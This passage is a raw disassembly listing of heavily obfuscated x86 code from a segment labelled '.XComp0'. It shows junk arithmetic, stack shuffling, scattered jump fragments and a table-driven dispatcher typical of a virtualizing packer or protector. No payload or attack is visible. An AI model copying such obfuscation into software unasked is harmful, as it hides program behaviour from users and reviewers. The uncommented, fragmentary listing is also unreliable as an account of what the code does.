loc_596F7A:				; CODE XREF: .XComp0:00593DE3j
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_596F8D:				; CODE XREF: .XComp0:00593B2Ej
		mov	edx, edi
		pop	edi
		push	eax
		mov	eax, 624D2184h
		not	eax
		inc	eax
		push	edx
		jmp	loc_594D44
; ---------------------------------------------------------------------------


loc_596F9F:				; CODE XREF: .XComp0:005915DAj
		push	3938h
		mov	[esp], edx
		jmp	loc_585314
; ---------------------------------------------------------------------------


loc_596FAC:				; CODE XREF: .XComp0:0058E741j
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		pop	ebx
		push	ebp
		pop	esi
		pop	ebp
		and	eax, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	1F6Ch
		mov	[esp], ecx
		jmp	loc_58ED54
; ---------------------------------------------------------------------------


loc_596FF7:				; CODE XREF: .XComp0:005868DAj
		add	bl, dh
		mov	edx, [esp]
		jmp	loc_5903A9
; ---------------------------------------------------------------------------


loc_597001:				; CODE XREF: .XComp0:00583B43j
		mov	[esp], edi
		push	esi
		push	ecx
		jmp	loc_594BA3
; ---------------------------------------------------------------------------


loc_59700B:				; CODE XREF: .XComp0:00590797j
		shr	eax, 6
		add	eax, 0FD41F151h
		mov	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		jmp	loc_5883D1
; ---------------------------------------------------------------------------


loc_59701E:				; CODE XREF: .XComp0:005867A7j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_593D65
; ---------------------------------------------------------------------------


loc_597029:				; CODE XREF: .XComp0:00589F18j
		mov	bp, 6AABh
		inc	bp
		not	bp
		jmp	loc_5910A1
; ---------------------------------------------------------------------------


loc_597037:				; CODE XREF: .XComp0:005979D9j
		add	edx, ebx
		push	dword ptr [esp]
		jmp	loc_58F17E
; ---------------------------------------------------------------------------


loc_597041:				; CODE XREF: .XComp0:00586D52j
		sub	eax, ebp
		pop	ebp
		push	61C4h
		jmp	loc_58D22B
; ---------------------------------------------------------------------------


loc_59704E:				; CODE XREF: .XComp0:00589E06j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_59721F
; ---------------------------------------------------------------------------


loc_59705F:				; CODE XREF: .XComp0:005840DAj
		mov	edx, 0E07655Ch
		add	ecx, 673345A5h
		jmp	loc_58BD85
; ---------------------------------------------------------------------------


loc_59706F:				; CODE XREF: .XComp0:005889E0j
		not	ebx
		or	ebx, 31E73659h
		sub	ebx, 0BBEFFF57h
		jmp	loc_58B67A
; ---------------------------------------------------------------------------


loc_597082:				; CODE XREF: .XComp0:00597937j
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_5961BE
; ---------------------------------------------------------------------------


loc_59708F:				; CODE XREF: .XComp0:00592A69j
		push	208Bh
		mov	[esp], ebp
		pop	eax
		mov	ebp, [esp]
		jmp	loc_598276
; ---------------------------------------------------------------------------


loc_5970A0:				; CODE XREF: .XComp0:0058CBF5j
		sub	eax, ebx
		pop	ebx
		add	eax, 7FFB6E56h
		or	edx, eax
		jmp	loc_58B2B2
; ---------------------------------------------------------------------------


loc_5970AF:				; CODE XREF: .XComp0:0058CB91j
		xor	eax, 47BA911Bh
		jmp	loc_59009A
; ---------------------------------------------------------------------------


loc_5970B9:				; CODE XREF: .XComp0:005944D2j
		mov	[esp], edi
		push	esp
		jmp	loc_59399C
; ---------------------------------------------------------------------------


loc_5970C2:				; CODE XREF: .XComp0:00587D13j
		sub	dword ptr [esp], 48E86FBDh
		pop	ecx
		add	ecx, 48E86FBDh
		pop	ebx
		jmp	loc_5844A6
; ---------------------------------------------------------------------------


loc_5970D6:				; CODE XREF: .XComp0:005897E5j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		push	6B1Ah
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	edi
		push	edx
		mov	edx, 7E2640CEh
		mov	edi, 503F6CDBh
		xor	edi, edx
		pop	edx
		sub	edi, 0FFFFFFFFh
		and	edi, 42E61654h
		sub	edi, 2000410h
		sub	esi, 3F02148Fh
		sub	esi, edi
		add	esi, 3F02148Fh
		pop	edi
		xchg	esi, [esp]
		jmp	loc_585F89
; ---------------------------------------------------------------------------


loc_597126:				; CODE XREF: .XComp0:0058DBD7j
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_59712E:				; CODE XREF: .XComp0:00593152j
		pop	ebx
		mov	edi, ecx
		pop	ecx
		push	347Bh
		mov	[esp], ebp
		mov	ebp, 36C214AFh
		jmp	loc_58C121
; ---------------------------------------------------------------------------


loc_597144:				; CODE XREF: .XComp0:005890C1j
		pop	ebx
		jmp	loc_58DCD6
; ---------------------------------------------------------------------------


loc_59714A:				; CODE XREF: .XComp0:005894ADj
		mov	edx, 63014B47h
		push	edx
		add	dword ptr [esp], 5B0A2AFCh
		pop	esi
		sub	esi, 5B0A2AFCh
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58A0E6
; ---------------------------------------------------------------------------


loc_597178:				; CODE XREF: .XComp0:005903ECj
		mov	edx, 4EBC610Dh
		sub	ecx, edx
		pop	edx
		sub	ecx, 5402216h
		sub	ecx, esi
		add	ecx, 5402216h
		add	ecx, 4EBC610Dh
		jmp	loc_587091
; ---------------------------------------------------------------------------


loc_597199:				; CODE XREF: .XComp0:00585B02j
		sub	esi, ebx
		pop	ebx
		push	esi
		jmp	loc_58DD86
; ---------------------------------------------------------------------------


loc_5971A2:				; CODE XREF: .XComp0:005973FDj
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_5973C5
; ---------------------------------------------------------------------------


loc_5971AC:				; CODE XREF: .XComp0:00583FF0j
		add	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edx, 20C57355h
		sub	edx, ecx
		sub	edx, 20C57355h
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58734E
; ---------------------------------------------------------------------------


loc_5971D6:				; CODE XREF: .XComp0:00586C2Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5883FC
; ---------------------------------------------------------------------------


loc_5971E5:				; CODE XREF: .XComp0:00584BC2j
		add	ebx, ecx
		pop	ecx
		add	ebx, 211E6A67h
		jmp	loc_598E9D
; ---------------------------------------------------------------------------


loc_5971F3:				; CODE XREF: .XComp0:00594EE3j
		jmp	loc_589236
; ---------------------------------------------------------------------------


loc_5971F8:				; CODE XREF: .XComp0:00592F15j
		shr	ebp, 2
		push	esi
		jmp	loc_585E66
; ---------------------------------------------------------------------------


loc_597201:				; CODE XREF: .XComp0:0058B4A1j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_595CB3
; ---------------------------------------------------------------------------


loc_59721F:				; CODE XREF: .XComp0:0059705Aj
		push	4A71h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 168662BFh
		mov	ebp, 1BF9C104h
		sub	ebp, ebx
		pop	ebx
		xor	ebp, 5735E41h
		jmp	loc_594606
; ---------------------------------------------------------------------------


loc_597240:				; CODE XREF: .XComp0:00593145j
		sub	ecx, 230D55E6h
		push	eax
		jmp	loc_58EBAA
; ---------------------------------------------------------------------------


loc_59724C:				; CODE XREF: .XComp0:00592814j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_594E94
; ---------------------------------------------------------------------------


loc_597256:				; CODE XREF: .XComp0:00597F27j
		add	ebp, 4
		jmp	loc_588198
; ---------------------------------------------------------------------------


loc_59725E:				; CODE XREF: .XComp0:005989E0j
		add	dword ptr [esp], 4
		jmp	loc_5988DE
; ---------------------------------------------------------------------------


loc_59726A:				; CODE XREF: .XComp0:00593CB0j
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_584FC0
; ---------------------------------------------------------------------------


loc_59727E:				; CODE XREF: .XComp0:005965C1j
		mov	bx, [esp]
		add	esp, 2
		sub	al, 34h
		sub	al, cl
		jmp	loc_597CC6
; ---------------------------------------------------------------------------


loc_597291:				; CODE XREF: .XComp0:00591159j
		xor	ch, 43h
		push	ebx
		mov	bl, 87h
		sub	ch, bl
		jmp	loc_586539
; ---------------------------------------------------------------------------


loc_59729E:				; CODE XREF: .XComp0:0059367Dj
		add	esi, eax
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5942D3
; ---------------------------------------------------------------------------


loc_5972B3:				; CODE XREF: .XComp0:00588297j
		sub	dl, ah
		sub	dl, 4Ch
		pop	eax
		add	al, dl
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	78F2h
		mov	[esp], edx
		mov	dh, 7Eh
		shl	dh, 1
		push	ecx
		mov	cl, 0BEh
		xor	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		xor	dh, 9Dh
		xor	dh, 2Dh
		xor	dh, 0CCh
		jmp	loc_589107
; ---------------------------------------------------------------------------


loc_5972F2:				; CODE XREF: .XComp0:0058C167j
		shl	esi, 3
		or	esi, 3E663BB4h
		or	esi, 2A164CFBh
		add	esi, 92569073h
		jmp	loc_58ECE8
; ---------------------------------------------------------------------------


loc_59730C:				; CODE XREF: .XComp0:00595C6Cj
		mov	ebx, 4
		jmp	loc_58F149
; ---------------------------------------------------------------------------


loc_597316:				; CODE XREF: .XComp0:005983ADj
		add	eax, edi
		sub	eax, 3865188Ah
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_59426F
; ---------------------------------------------------------------------------


loc_59732C:				; CODE XREF: .XComp0:00586754j
		add	ebp, edi
		add	ebp, 60090E7Eh
		jmp	loc_58C1B7
; ---------------------------------------------------------------------------


loc_597339:				; CODE XREF: .XComp0:00597DF9j
		pop	edi
		push	esi
		mov	esi, 1C195E3Eh
		push	ebp
		mov	ebp, 421D2B82h
		sub	esi, ebp
		pop	ebp
		neg	esi
		inc	esi
		push	ebx
		mov	ebx, 4D0A43CFh
		inc	ebx
		xor	ebx, 57B44BFDh
		or	ebx, 7FF33B0Dh
		not	ebx
		jmp	loc_5885BF
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_597375:				; CODE XREF: .XComp0:0058493Dj
		mov	ecx, [esp]
		push	7891h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, 3A43B4Eh
		add	ecx, edx
		sub	ecx, 3A43B4Eh
		pop	edx
		jmp	loc_597891
; ---------------------------------------------------------------------------


loc_5973A2:				; CODE XREF: .XComp0:005951C6j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58452E
; ---------------------------------------------------------------------------


loc_5973C5:				; CODE XREF: .XComp0:005971A7j
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	3DB5h
		mov	[esp], eax
		jmp	loc_594DB2
; ---------------------------------------------------------------------------


loc_5973EE:				; CODE XREF: .XComp0:0058A48Aj
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_5971A2
; ---------------------------------------------------------------------------


loc_597402:				; CODE XREF: .XComp0:00584A1Cj
		pop	edx
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 245D626Fh
		jmp	loc_595B2F
; ---------------------------------------------------------------------------


loc_597417:				; CODE XREF: .XComp0:00584AB2j
		add	dword ptr [esp+4], 60212D7Eh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 60212D7Eh
		add	dword ptr [esp+4], 68A93C45h
		push	eax
		mov	eax, 766868B6h
		add	[esp+8], eax
		jmp	loc_58E764
; ---------------------------------------------------------------------------


loc_597442:				; CODE XREF: .XComp0:005929B3j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 21EA68E9h
		neg	ebx
		push	2F1Bh
		mov	[esp], ecx
		jmp	loc_5878D4
; ---------------------------------------------------------------------------


loc_59745C:				; CODE XREF: .XComp0:00591B20j
		neg	esi
		add	esi, 0BC2C9735h
		jmp	loc_5889EB
; ---------------------------------------------------------------------------


loc_597469:				; CODE XREF: .XComp0:0058B1F0j
		add	ebx, eax
		pop	eax
		push	edi
		mov	edi, 15D71633h
		push	edx
		mov	edx, 3D1D1CA2h
		xor	edi, edx
		pop	edx
		push	ebp
		push	esi
		mov	esi, 31DF2E5Fh
		mov	ebp, 0D684178h
		add	ebp, esi
		pop	esi
		xor	ebp, 72B95FDAh
		neg	ebp
		push	eax
		mov	eax, 519938ECh
		xor	eax, 27631922h
		jmp	loc_5988C5
; ---------------------------------------------------------------------------


loc_5974A2:				; CODE XREF: .XComp0:00590F90j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5974A7:				; CODE XREF: .XComp0:00595695j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7C9E1B08h
		inc	esi
		jmp	loc_59493F
; ---------------------------------------------------------------------------


loc_5974B8:				; CODE XREF: .XComp0:00592832j
		mov	ebp, 6B637FFEh
		xor	ebp, ebx
		jmp	loc_5842B8
; ---------------------------------------------------------------------------


loc_5974C4:				; CODE XREF: .XComp0:005922FDj
		mov	al, 93h
		add	bl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58E7F4
; ---------------------------------------------------------------------------


loc_5974D3:				; CODE XREF: .XComp0:005913A7j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5974D8:				; CODE XREF: .XComp0:0058650Bj
		pop	edi
		add	edi, 18391B6Ah
		add	edi, ebx
		sub	edi, 18391B6Ah
		pop	ebx
		sub	esp, 4
		jmp	loc_591491
; ---------------------------------------------------------------------------


loc_5974F3:				; CODE XREF: .XComp0:005891ABj
		add	al, bh
		jmp	loc_586000
; ---------------------------------------------------------------------------


loc_5974FA:				; CODE XREF: .XComp0:00585A73j
		add	esp, 4
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		inc	ecx
		or	ecx, 23ED20C0h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_586BDF
; ---------------------------------------------------------------------------


loc_597517:				; CODE XREF: .XComp0:0058A672j
		sub	esi, edx
		pop	edx
		add	esi, 26D1347Fh
		jmp	loc_58EC35
; ---------------------------------------------------------------------------


loc_597525:				; CODE XREF: .XComp0:005869CDj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_58ACA9
; ---------------------------------------------------------------------------


loc_597532:				; CODE XREF: .XComp0:0058A195j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_58F206
; ---------------------------------------------------------------------------


loc_59753D:				; CODE XREF: .XComp0:005849F4j
		push	ax
		mov	ah, 0F0h
		or	cl, ah
		jmp	loc_5886FA
; ---------------------------------------------------------------------------


loc_597548:				; CODE XREF: .XComp0:0058FDDAj
		push	58BDh
		mov	[esp], edi
		push	10h
		jmp	loc_591530
; ---------------------------------------------------------------------------


loc_59755A:				; CODE XREF: .XComp0:00586226j
		sub	esi, 4
		push	esi
		jmp	loc_59638C
; ---------------------------------------------------------------------------


loc_597563:				; CODE XREF: .XComp0:0058E4A0j
		mov	ebx, [esp]
		add	esp, 4
		sub	dh, 9
		sub	dh, bl
		add	dh, 9
		pop	ebx
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_58712B
; ---------------------------------------------------------------------------


loc_597584:				; CODE XREF: .XComp0:005868C3j
		mov	[esp], eax
		jmp	loc_58DE4B
; ---------------------------------------------------------------------------


loc_59758C:				; CODE XREF: .XComp0:00592B75j
		mov	ecx, ebp
		pop	ebp
		jmp	loc_583FFE
; ---------------------------------------------------------------------------


loc_597594:				; CODE XREF: .XComp0:00598975j
		mov	edi, 649D5FA4h
		sub	edx, edi
		pop	edi
		add	edx, 585214B0h
		add	edx, eax
		jmp	loc_58743F
; ---------------------------------------------------------------------------


loc_5975A9:				; CODE XREF: .XComp0:0058E34Cj
		sub	edx, edi
		pop	edi
		xor	edx, 54C734D5h
		add	edx, 0B2723D6Ch
		mov	ecx, edx
		pop	edx
		sub	ebp, 5B5F0B16h
		jmp	loc_5873A3
; ---------------------------------------------------------------------------


loc_5975C6:				; CODE XREF: .XComp0:0058F62Fj
		mov	[esp], esi
		jmp	loc_58E8F3
; ---------------------------------------------------------------------------


loc_5975CE:				; CODE XREF: .XComp0:0058FAD4j
		push	2564h
		jmp	loc_5883EC
; ---------------------------------------------------------------------------


loc_5975D8:				; CODE XREF: .XComp0:00590FBEj
		xor	[esp], eax
		jmp	loc_5936F0
; ---------------------------------------------------------------------------


loc_5975E0:				; CODE XREF: .XComp0:0058B4CBj
		mov	ecx, 7A3E18A3h
		add	ecx, 1284648Bh
		jmp	loc_586712
; ---------------------------------------------------------------------------


loc_5975F0:				; CODE XREF: .XComp0:00591302j
		shr	edi, 7
		neg	edi
		dec	edi
		sub	edi, 2B1604Dh
		shr	edi, 2
		jmp	loc_591F20
; ---------------------------------------------------------------------------


loc_597604:				; CODE XREF: .XComp0:005873F9j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	36C2h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_597977
; ---------------------------------------------------------------------------


loc_597627:				; CODE XREF: .XComp0:0058EF94j
		xchg	edi, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	5533h
		mov	[esp], esi
		jmp	loc_58EDFB
; ---------------------------------------------------------------------------


loc_597643:				; CODE XREF: .XComp0:00590F72j
		push	ecx
		jmp	loc_58441E
; ---------------------------------------------------------------------------


loc_597649:				; CODE XREF: .XComp0:00585430j
		not	edi
		not	edi
		xor	edi, 5DFA21B9h
		jmp	loc_588689
; ---------------------------------------------------------------------------


loc_597658:				; CODE XREF: .XComp0:005948D7j
		push	esi
		jmp	loc_583D46
; ---------------------------------------------------------------------------


loc_59765E:				; CODE XREF: .XComp0:00584E7Cj
		pop	ebx
		push	ebp
		jmp	loc_596D7A
; ---------------------------------------------------------------------------


loc_597665:				; CODE XREF: .XComp0:00598F62j
		pop	edx
		or	eax, eax
		jz	loc_588E81
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 2DB74A58h
		xor	[esp+4], esi
		pop	esi
		pop	ecx
		jmp	loc_597724
; ---------------------------------------------------------------------------


loc_597682:				; CODE XREF: .XComp0:0058FDCFj
		inc	ebp
		jmp	loc_58D5F2
; ---------------------------------------------------------------------------


loc_597688:				; CODE XREF: .XComp0:0058738Dj
		shl	esi, 5
		shr	esi, 5
		or	esi, 269A6A64h
		add	esi, 3461BC44h
		xor	eax, esi
		pop	esi
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edi, 2
		push	edi
		jmp	loc_585BD7
; ---------------------------------------------------------------------------


loc_5976AF:				; CODE XREF: .XComp0:00586365j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 5BAC180Dh
		shl	ebx, 1
		neg	ebx
		dec	ebx
		add	ebx, 0B758301Fh
		add	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_587B3A
; ---------------------------------------------------------------------------


loc_5976DE:				; CODE XREF: .XComp0:00590FF6j
		or	esi, ebx
		jmp	loc_584F5B
; ---------------------------------------------------------------------------


loc_5976E5:				; CODE XREF: .XComp0:005850D6j
		add	esi, 4
		push	eax
		jmp	loc_58FE25
; ---------------------------------------------------------------------------


loc_5976F1:				; CODE XREF: .XComp0:0058C4BCj
		pop	edi
		sub	ebp, 0F15D02h
		add	ebp, edx
		add	ebp, 0F15D02h
		pop	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_58D819
; ---------------------------------------------------------------------------


loc_59770F:				; CODE XREF: .XComp0:00589279j
		xor	eax, 0C6E9C029h
		jmp	loc_58C132
; ---------------------------------------------------------------------------


loc_597719:				; CODE XREF: .XComp0:0058BF96j
		sub	edi, 2E8619C2h
		jmp	loc_594EC3
; ---------------------------------------------------------------------------


loc_597724:				; CODE XREF: .XComp0:0059767Dj
		push	5E3Eh
		mov	[esp], eax
		push	ebp
		mov	ebp, 49E945CBh
		mov	eax, 2EB950F4h
		xor	eax, ebp
		pop	ebp
		jmp	loc_59042B
; ---------------------------------------------------------------------------


loc_59773F:				; CODE XREF: .XComp0:0058683Ej
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5967D0
; ---------------------------------------------------------------------------


loc_597748:				; CODE XREF: .XComp0:00586407j
		mov	[esp], ebp
		push	5942004Dh
		pop	ebp
		neg	ebp
		xor	ebp, 45C6ECB0h
		jmp	loc_598C10
; ---------------------------------------------------------------------------


loc_59775E:				; CODE XREF: .XComp0:00590DFDj
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_591030
; ---------------------------------------------------------------------------


loc_597772:				; CODE XREF: .XComp0:005977F0j
		mov	edx, 14D643F0h
		push	ebx
		mov	ebx, 5F806AC8h
		xor	ebx, 0E8F5AFAh
		add	edi, ebx
		pop	ebx
		jmp	loc_589153
; ---------------------------------------------------------------------------


loc_59778B:				; CODE XREF: .XComp0:0058B227j
		mov	cl, 30h
		push	ebx
		mov	bh, 0CBh
		jmp	loc_5882C2
; ---------------------------------------------------------------------------


loc_597795:				; CODE XREF: .XComp0:005920E5j
		add	esi, 1
		add	esi, 0C6CF8440h
		jmp	loc_593B11
; ---------------------------------------------------------------------------


loc_5977A6:				; CODE XREF: .XComp0:005893E4j
		add	ebp, 4
		jmp	loc_594F7E
; ---------------------------------------------------------------------------


loc_5977AE:				; CODE XREF: .XComp0:005929C7j
		push	4E0Dh
		mov	[esp], ebp
		jmp	loc_594CFA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_59111E
; ---------------------------------------------------------------------------


loc_5977D3:				; CODE XREF: .XComp0:00592CBCj
		xchg	eax, [esp]
		pop	esp
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5977E0:				; CODE XREF: .XComp0:00595390j
		mov	[esp], eax
		push	eax
		mov	eax, 14D643F0h
		add	[esp+4], eax
		pop	eax
		pop	edi
		push	edx
		jmp	loc_597772
; ---------------------------------------------------------------------------


loc_5977F5:				; CODE XREF: .XComp0:00597FB9j
		add	ebp, 72D28A39h
		and	edx, ebp
		jmp	loc_585C58
; ---------------------------------------------------------------------------


loc_597802:				; CODE XREF: .XComp0:0058E1A9j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		push	439Dh
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_586A40
; ---------------------------------------------------------------------------


loc_597829:				; CODE XREF: .XComp0:0059685Fj
		xchg	ebx, [esp]
		pop	esp
		xor	eax, 16B55B78h
		jmp	loc_58EC96
; ---------------------------------------------------------------------------


loc_597837:				; CODE XREF: .XComp0:005930E0j
		shl	ebp, 8
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 50903747h
		jmp	loc_587818
; ---------------------------------------------------------------------------


loc_59784D:				; CODE XREF: .XComp0:00584A25j
		push	eax
		push	ebx
		mov	ebx, 4
		mov	eax, ebx
		pop	ebx
		sub	edi, eax
		jmp	loc_58F76F
; ---------------------------------------------------------------------------


loc_59785E:				; CODE XREF: .XComp0:0058FAC1j
		push	2746h
		mov	[esp], ebx
		jmp	loc_587EF1
; ---------------------------------------------------------------------------


loc_59786B:				; CODE XREF: .XComp0:00591018j
		xor	ecx, [esp]
		jmp	loc_596E5E
; ---------------------------------------------------------------------------


loc_597873:				; CODE XREF: .XComp0:00589511j
		pop	edi
		inc	ecx
		push	edx
		push	edi
		mov	edi, 69667953h
		push	edi
		add	dword ptr [esp], 37862F05h
		pop	edx
		jmp	loc_5914EB
; ---------------------------------------------------------------------------


loc_59788A:				; CODE XREF: .XComp0:0058710Bj
		mov	edx, esp
		jmp	loc_58644E
; ---------------------------------------------------------------------------


loc_597891:				; CODE XREF: .XComp0:0059739Dj
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	edi, 50FF5F85h
		jmp	loc_58A7D1
; ---------------------------------------------------------------------------


loc_5978A2:				; CODE XREF: .XComp0:0058A36Ej
		inc	ebx
		jmp	loc_598B7C
; ---------------------------------------------------------------------------


loc_5978A8:				; CODE XREF: .XComp0:00590A80j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58D2D5
; ---------------------------------------------------------------------------


loc_5978B3:				; CODE XREF: .XComp0:00589700j
		mov	[esp], esi
		dec	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	esi, 5EFB6CF7h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_58B88C
; ---------------------------------------------------------------------------


loc_5978D9:				; CODE XREF: .XComp0:00587A8Bj
		pop	esp
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xchg	edx, [esp]
		jmp	loc_590F77
; ---------------------------------------------------------------------------


loc_5978EE:				; CODE XREF: .XComp0:005916F3j
		push	esp
		jmp	loc_590205
; ---------------------------------------------------------------------------


loc_5978F4:				; CODE XREF: .XComp0:005923C4j
		xor	ebx, [esp]
		jmp	loc_59403D
; ---------------------------------------------------------------------------


loc_5978FC:				; CODE XREF: .XComp0:005925FFj
		pop	ebp
		jmp	loc_585749
; ---------------------------------------------------------------------------


loc_597902:				; CODE XREF: .XComp0:00587495j
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58AF23
; ---------------------------------------------------------------------------


loc_597918:				; CODE XREF: .XComp0:0059415Fj
		dec	esi
		xor	esi, 785F6673h
		shl	esi, 7
		sub	esi, 0E5C5A5FCh
		sub	edi, 4F3B24F7h
		add	edi, esi
		add	edi, 4F3B24F7h
		pop	esi
		jmp	loc_597082
; ---------------------------------------------------------------------------


loc_59793C:				; CODE XREF: .XComp0:0058D058j
		add	esp, 4
		push	small 7839h
		mov	[esp], dx
		push	ebx
		push	edx
		mov	dh, 3Dh
		mov	bl, 53h
		add	bl, dh
		pop	edx
		mov	dh, bl
		mov	ebx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	esp, 4
		jmp	loc_58D8C4
; ---------------------------------------------------------------------------


loc_59796B:				; CODE XREF: .XComp0:005913ECj
		add	dword ptr [esp], 1EB002FBh
		jmp	loc_5917F8
; ---------------------------------------------------------------------------


loc_597977:				; CODE XREF: .XComp0:00597622j
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58FCA6
; ---------------------------------------------------------------------------


loc_597989:				; CODE XREF: .XComp0:00590554j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58D415
; ---------------------------------------------------------------------------


loc_597995:				; CODE XREF: .XComp0:005981ADj
		add	dword ptr [esp+4], 574A0D53h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 574A0D53h
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 620C7A27h
		shl	ebx, 7
		xor	ebx, 384C37B1h
		add	ebx, 0C18EDBD3h
		jmp	loc_597037
; ---------------------------------------------------------------------------


loc_5979DE:				; CODE XREF: .XComp0:0058C945j
		push	37FFh
		jmp	loc_58E605
; ---------------------------------------------------------------------------


loc_5979E8:				; CODE XREF: .XComp0:0058C356j
		inc	ecx
		xor	ecx, 1ACF8674h
		push	6ACEh
		jmp	loc_586433
; ---------------------------------------------------------------------------


loc_5979F9:				; CODE XREF: .XComp0:0058B682j
		mov	edi, 5276B55h
		mov	ebx, edi
		pop	edi
		jmp	loc_590E50
; ---------------------------------------------------------------------------


loc_597A06:				; CODE XREF: .XComp0:00588185j
		sub	esp, 4
		jmp	loc_586E9F
; ---------------------------------------------------------------------------


loc_597A0E:				; CODE XREF: .XComp0:00584B11j
		mov	edx, 5A033E30h
		jmp	loc_58F436
; ---------------------------------------------------------------------------


loc_597A18:				; CODE XREF: .XComp0:005882C4j
		mov	ch, bh
		inc	ch
		mov	bh, ch
		jmp	loc_584F9F
; ---------------------------------------------------------------------------


loc_597A23:				; CODE XREF: .XComp0:005915ECj
		push	752Ch
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	edx
